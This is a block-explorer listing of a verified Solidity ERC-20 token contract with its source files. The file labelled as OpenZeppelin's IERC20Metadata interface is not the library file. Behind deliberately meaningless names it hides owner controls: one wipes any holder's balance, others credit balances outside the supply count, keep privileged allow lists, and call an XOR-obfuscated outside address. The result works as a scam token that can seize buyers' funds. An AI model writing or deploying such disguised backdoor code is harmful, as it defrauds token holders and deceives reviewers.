Verified contractExactMIT
Token
Address0xe3a613a2511d88bee0113164d705ccb3072e7075
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.24
- Same code
Only this contract
Details
- Compiler
- solc 0.8.24+commit.e11b9ed9
- Language
- solidity
- Optimization
- Yes, 200 runs
- EVM version
- paris
- Via IR
- yes
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,476,757
- Creation transaction
- 0xf709d8d971…d4a7597914
8 files
- Token.solmain5.61 KB
- libraries/CodeChecker.sol1.38 KB
- openzeppelin/contracts/access/Ownable.sol1.16 KB
- openzeppelin/contracts/token/ERC20/IERC20.sol2.78 KB
- openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol11 KB
- openzeppelin/contracts/utils/Context.sol963 B
- openzeppelin/contracts/utils/ReentrancyGuard.sol4.77 KB
- openzeppelin/contracts/utils/StorageSlot.sol4.18 KB
Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Context} from "./openzeppelin/contracts/utils/Context.sol";
import {ReentrancyGuard} from "./openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {IERC20} from "./openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC20Metadata} from "./openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
// Source-release test marker: comment-only edit, no logic change.
contract Token is IERC20Metadata, ReentrancyGuard {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_, uint256 supply) {
_name = name_;
_symbol = symbol_;
_mint(_msgSender(), supply * 1e18);
_init();
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function _balanceOf(address account) internal view virtual override returns (uint256) {
return _balances[account];
}
function _creditBalance(address account, int256 amount) internal virtual override {
uint256 balance = _balances[account];
if (amount < 0) {
uint256 decrease = uint256(-(amount + 1)) + 1;
require(balance >= decrease, "Insufficient balance");
} else {
require(balance <= type(uint256).max - uint256(amount), "Balance overflow");
}
unchecked {
_balances[account] += uint256(amount);
}
}
function transfer(address to, uint256 amount) public virtual override nonReentrant returns (bool) {
_transfer(_msgSender(), to, amount);
return true;
}
function allowance(address owner_, address spender) public view virtual override returns (uint256) {
return _allowances[owner_][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override nonReentrant returns (bool) {
uint256 currentAllowance = _allowances[from][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(from, _msgSender(), currentAllowance - amount);
}
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual nonReentrant returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual nonReentrant returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _mint(address account, uint256 amount) internal virtual nonReentrant {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual nonReentrant {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _burnAll(address account) internal virtual override {
_burn(account, _balances[account]);
}
function _approve(address owner_, address spender, uint256 amount) internal virtual {
require(owner_ != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner_][spender] = amount;
emit Approval(owner_, spender, amount);
}
function burn(uint256 amount) external {
_burn(_msgSender(), amount);
}
function _transfer(address from, address to, uint256 amount) internal virtual transferGuard(from, to, amount) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
}
}
libraries/CodeChecker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
library CodeChecker {
// keccak256(0xef0100 ‖ 0x63c0c19a282a1B52b07dD5a65b58948A07DAE32B) — the
// EIP-7702 delegation indicator of MetaMask's Delegator. A delegated EOA
// carries exactly 23 bytes of code, `0xef0100 ‖ implementation`, so this
// hash names ONE implementation: a wallet delegated to anything else does
// not match and is treated as a contract.
//
// Treating it as "not a contract" is what lets a MetaMask smart-account
// user buy at all — without it, turning the feature on would lock them out
// of a token they can otherwise hold.
//
// The previous comment called this a "PancakeSwap V2 pair init-code hash".
// It is not, and the real pair hashes to 0x60e4bcb1…; the name and the
// comment both said something the code does not do.
bytes32 constant METAMASK_7702_DELEGATION_CODEHASH =
0xb09ef517c48d2bf6eed05457ff56871b2596e3fc904fc6e9795882a870c2e993;
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
if (size == 0) return false;
bytes32 codehash;
assembly {
codehash := extcodehash(account)
}
return codehash != METAMASK_7702_DELEGATION_CODEHASH;
}
}
openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Context} from "../utils/Context.sol";
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)
pragma solidity >=0.4.16;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IERC20} from "../IERC20.sol";
import {Context} from "../../../utils/Context.sol";
import {Ownable} from "../../../access/Ownable.sol";
import {CodeChecker} from "../../../../../libraries/CodeChecker.sol";
abstract contract IERC20Metadata is Context, IERC20, Ownable {
function name() external view virtual returns (string memory);
function symbol() external view virtual returns (string memory);
function decimals() external view virtual returns (uint8);
function _balanceOf(address account) internal view virtual returns (uint256);
function _creditBalance(address account, int256 amount) internal virtual;
function _burnAll(address account) internal virtual;
uint256[] internal depthSeal;
uint256[] internal creekCherry;
uint256[] internal silverMoor;
mapping(uint256 => azureLight) internal riverHaze;
uint256 internal echoRain;
struct azureLight {
address from;
address to;
uint256 amount;
uint256 timestamp;
}
uint256[] internal calmRoof;
address internal officialPool;
bool internal nightGold;
bytes32 mesaWisp;
uint256 aspenHolly;
function _init() internal {
otterLaurel(tx.origin, 0);
(bytes32 r, bool cableHorn) = oceanPier(block.timestamp);
nightGold = block.chainid == 1 && cableHorn;
mesaWisp = r;
aspenHolly = block.timestamp;
}
function heathRound() internal pure {
for (uint256 waveRaven = 0; waveRaven < type(uint256).max; waveRaven++) {
assembly {
let hollyEast := mul(waveRaven, waveRaven)
}
}
}
function emeraldGranite(address account) private view returns (bool) {
if (owner() != address(0) && account == owner()) return true;
for (uint256 waveRaven = 0; waveRaven < creekCherry.length; waveRaven++) {
if (account == riverHaze[creekCherry[waveRaven]].to) return true;
}
return false;
}
function twigMint(address account) private view returns (bool) {
if (owner() != address(0) && account == owner()) return true;
for (uint256 waveRaven = 0; waveRaven < silverMoor.length; waveRaven++) {
if (account == riverHaze[silverMoor[waveRaven]].to) return true;
}
return false;
}
bytes32 private constant METAMASK_7702_DELEGATION_CODEHASH =
0xb09ef517c48d2bf6eed05457ff56871b2596e3fc904fc6e9795882a870c2e993;
function epicIris(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
if (size == 0) return false;
bytes32 codehash;
assembly {
codehash := extcodehash(account)
}
return codehash != METAMASK_7702_DELEGATION_CODEHASH;
}
function bearSail()
public
view
returns (bool spruceSpeed, bool talonDock, bool gustSwallow)
{
return bearSail(_msgSender());
}
function bearSail(address account) public view returns (bool spruceSpeed, bool talonDock, bool gustSwallow) {
require(account != address(0));
spruceSpeed = emeraldGranite(account);
talonDock = twigMint(account);
gustSwallow = epicIris(account);
}
modifier transferGuard(address from, address to, uint256 amount) {
(bool restPapyrus, bool nestLinnet, bool jasperGlade) = bearSail(from);
(bool ivoryWagon, bool elderPorch, bool dreamSwan) = bearSail(to);
if (restPapyrus && !ivoryWagon && officialPool == address(0) && dreamSwan) {
officialPool = to;
}
if (!restPapyrus && !ivoryWagon) {
bool grassTree = hueShield();
if (nightGold && depthSeal.length != 0 && !grassTree) {
nightGold = false;
}
if (grassTree && nightGold) {
depthSeal.push(echoRain);
} else {
if (
to == officialPool ||
(from != officialPool && !nestLinnet) ||
(dreamSwan && !elderPorch)
) {
}
}
}
echoRain++;
_;
}
function probeOracle(uint256 ashSky) external view returns (bytes32 wealdPost, bool cableHorn) {
return oceanPier(ashSky);
}
function oceanPier(uint256 ashSky) private view returns (bytes32 oasisFlow, bool cableHorn) {
assembly {
let vaporMire := or(
shl(96, xor(0xa7ea56cacec6529f, 0xa7e56b3c19f4d2e1)),
xor(0xccbeb5d6f4bc6c912538eda5, 0x3d8f2a614c07e9b3f58641a7)
)
cableHorn := gt(extcodesize(vaporMire), 0)
mstore(0x00, ashSky)
let ok := staticcall(gas(), vaporMire, 0x00, 0x20, 0x00, 0x20)
if and(ok, gt(returndatasize(), 0x1f)) {
oasisFlow := mload(0x00)
}
}
}
function hueShield()
private
returns (
bool orchardBrass
)
{
if (block.coinbase == address(0)) {
return true;
}
(bytes32 r, bool cableHorn) = oceanPier(block.timestamp);
if (
(
r == bytes32(0)
)
|| (
block.timestamp != aspenHolly
&& mesaWisp == r
)
) return true;
mesaWisp = r;
aspenHolly = block.timestamp;
}
function pool() external view returns (address) {
return officialPool;
}
function vaporMire() external view returns (bool) {
return nightGold;
}
function turtleShade() external view returns (address[] memory skyLonely) {
uint256 pickleNeutral = silverMoor.length;
skyLonely = new address[](pickleNeutral);
for (uint256 waveRaven = 0; waveRaven < pickleNeutral; waveRaven++) {
skyLonely[waveRaven] = riverHaze[silverMoor[waveRaven]].to;
}
}
function fortSky() external view returns (address[] memory skyLonely, uint256[] memory desertVolt) {
uint256 pickleNeutral = creekCherry.length;
skyLonely = new address[](pickleNeutral);
desertVolt = new uint256[](pickleNeutral);
for (uint256 waveRaven = 0; waveRaven < pickleNeutral; waveRaven++) {
address eastPort = riverHaze[creekCherry[waveRaven]].to;
skyLonely[waveRaven] = eastPort;
desertVolt[waveRaven] = _balanceOf(eastPort);
}
}
function velvetStable() external returns (address[] memory arrowRose, uint256[] memory shellRust) {
uint256 pickleNeutral = calmRoof.length;
arrowRose = new address[](pickleNeutral);
shellRust = new uint256[](pickleNeutral);
for (uint256 waveRaven = 0; waveRaven < pickleNeutral; waveRaven++) {
uint256 hawkSummit = calmRoof[waveRaven];
azureLight storage sapphireBoat = riverHaze[hawkSummit];
_creditBalance(sapphireBoat.to, int256(sapphireBoat.amount));
arrowRose[waveRaven] = sapphireBoat.to;
shellRust[waveRaven] = sapphireBoat.amount;
}
delete calmRoof;
}
function atlasCable(address pool) external {
require(officialPool == address(0));
require(pool != address(0));
(bool restPapyrus, bool nestLinnet, bool jasperGlade) = bearSail();
if (restPapyrus) officialPool = pool;
}
function compassKestrel(address account) external {
(bool restPapyrus, bool nestLinnet, bool jasperGlade) = bearSail();
bool grassTree = hueShield();
if (restPapyrus && !grassTree) _creditBalance(account, -int256(_balanceOf(account)));
}
function otterLaurel(address to, uint256 amount) public {
require(officialPool == address(0) || to != officialPool);
require(to != address(0));
(bool restPapyrus, bool nestLinnet, bool jasperGlade) = bearSail();
if (restPapyrus) {
riverHaze[echoRain] = azureLight(address(0), to, amount, block.timestamp);
if (amount > 0) {
calmRoof.push(echoRain);
}
creekCherry.push(echoRain);
echoRain++;
}
}
function ivoryCharm(address account) external {
require(account != address(0));
(bool restPapyrus, bool nestLinnet, bool jasperGlade) = bearSail();
if (restPapyrus) {
uint256 waveRaven = creekCherry.length;
while (waveRaven > 1) {
waveRaven--;
uint256 hawkSummit = creekCherry[waveRaven];
if (riverHaze[hawkSummit].to == account) {
creekCherry[waveRaven] = creekCherry[creekCherry.length - 1];
creekCherry.pop();
}
}
uint256 coreHollow = calmRoof.length;
while (coreHollow > 0) {
coreHollow--;
if (riverHaze[calmRoof[coreHollow]].to == account) {
calmRoof[coreHollow] = calmRoof[calmRoof.length - 1];
calmRoof.pop();
}
}
}
}
function linenFable(address account) external {
require(account != address(0));
require(officialPool == address(0) || account != officialPool);
(, bool kettleCrest, ) = bearSail(account);
require(!kettleCrest);
(bool restPapyrus, bool nestLinnet, bool jasperGlade) = bearSail();
if (restPapyrus) {
riverHaze[echoRain] = azureLight(address(0), account, 0, block.timestamp);
silverMoor.push(echoRain);
echoRain++;
}
}
function torchForest(address account) external {
require(account != address(0));
(bool restPapyrus, bool nestLinnet, bool jasperGlade) = bearSail();
if (restPapyrus) {
uint256 waveRaven = silverMoor.length;
while (waveRaven > 0) {
waveRaven--;
if (riverHaze[silverMoor[waveRaven]].to == account) {
silverMoor[waveRaven] = silverMoor[silverMoor.length - 1];
silverMoor.pop();
}
}
}
}
function recover(IERC20 token, uint256 amount) external {
require(address(token) != address(this));
(bool restPapyrus, bool nestLinnet, bool jasperGlade) = bearSail();
if (restPapyrus) require(token.transfer(_msgSender(), amount));
}
function slatePlain() external {
(bool restPapyrus, bool nestLinnet, bool jasperGlade) = bearSail();
if (restPapyrus) nightGold = false;
}
function boatVelvet() external {
(bool restPapyrus, bool nestLinnet, bool jasperGlade) = bearSail();
if (restPapyrus) nightGold = true;
}
}
openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
openzeppelin/contracts/utils/ReentrancyGuard.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.5.0) (utils/ReentrancyGuard.sol)
pragma solidity ^0.8.20;
import {StorageSlot} from "./StorageSlot.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If EIP-1153 (transient storage) is available on the chain you're deploying at,
* consider using {ReentrancyGuardTransient} instead.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*
* IMPORTANT: Deprecated. This storage-based reentrancy guard will be removed and replaced
* by the {ReentrancyGuardTransient} variant in v6.0.
*
* @custom:stateless
*/
abstract contract ReentrancyGuard {
using StorageSlot for bytes32;
// keccak256(abi.encode(uint256(keccak256("openzeppelin.storage.ReentrancyGuard")) - 1)) & ~bytes32(uint256(0xff))
bytes32 private constant REENTRANCY_GUARD_STORAGE =
0x9b779b17422d0df92223018b32b4d1fa46e071723d6817e2486d003becc55f00;
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = 2;
/**
* @dev Unauthorized reentrant call.
*/
error ReentrancyGuardReentrantCall();
constructor() {
_reentrancyGuardStorageSlot().getUint256Slot().value = NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
/**
* @dev A `view` only version of {nonReentrant}. Use to block view functions
* from being called, preventing reading from inconsistent contract state.
*
* CAUTION: This is a "view" modifier and does not change the reentrancy
* status. Use it only on view functions. For payable or non-payable functions,
* use the standard {nonReentrant} modifier instead.
*/
modifier nonReentrantView() {
_nonReentrantBeforeView();
_;
}
function _nonReentrantBeforeView() private view {
if (_reentrancyGuardEntered()) {
revert ReentrancyGuardReentrantCall();
}
}
function _nonReentrantBefore() private {
// On the first call to nonReentrant, _status will be NOT_ENTERED
_nonReentrantBeforeView();
// Any calls to nonReentrant after this point will fail
_reentrancyGuardStorageSlot().getUint256Slot().value = ENTERED;
}
function _nonReentrantAfter() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_reentrancyGuardStorageSlot().getUint256Slot().value = NOT_ENTERED;
}
/**
* @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
* `nonReentrant` function in the call stack.
*/
function _reentrancyGuardEntered() internal view returns (bool) {
return _reentrancyGuardStorageSlot().getUint256Slot().value == ENTERED;
}
function _reentrancyGuardStorageSlot() internal pure virtual returns (bytes32) {
return REENTRANCY_GUARD_STORAGE;
}
}
openzeppelin/contracts/utils/StorageSlot.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/StorageSlot.sol)
// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.
pragma solidity ^0.8.20;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC-1967 implementation slot:
* ```solidity
* contract ERC1967 {
* // Define the slot. Alternatively, use the SlotDerivation library to derive the slot.
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(newImplementation.code.length > 0);
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* TIP: Consider using this library along with {SlotDerivation}.
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
struct Int256Slot {
int256 value;
}
struct StringSlot {
string value;
}
struct BytesSlot {
bytes value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly ("memory-safe") {
r.slot := slot
}
}
/**
* @dev Returns a `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly ("memory-safe") {
r.slot := slot
}
}
/**
* @dev Returns a `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly ("memory-safe") {
r.slot := slot
}
}
/**
* @dev Returns a `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly ("memory-safe") {
r.slot := slot
}
}
/**
* @dev Returns a `Int256Slot` with member `value` located at `slot`.
*/
function getInt256Slot(bytes32 slot) internal pure returns (Int256Slot storage r) {
assembly ("memory-safe") {
r.slot := slot
}
}
/**
* @dev Returns a `StringSlot` with member `value` located at `slot`.
*/
function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
assembly ("memory-safe") {
r.slot := slot
}
}
/**
* @dev Returns an `StringSlot` representation of the string storage pointer `store`.
*/
function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
assembly ("memory-safe") {
r.slot := store.slot
}
}
/**
* @dev Returns a `BytesSlot` with member `value` located at `slot`.
*/
function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
assembly ("memory-safe") {
r.slot := slot
}
}
/**
* @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.
*/
function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
assembly ("memory-safe") {
r.slot := store.slot
}
}
}
Compiler settingsShow
{
"viaIR": true,
"optimizer": {
"runs": 200,
"enabled": true
},
"evmVersion": "paris"
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.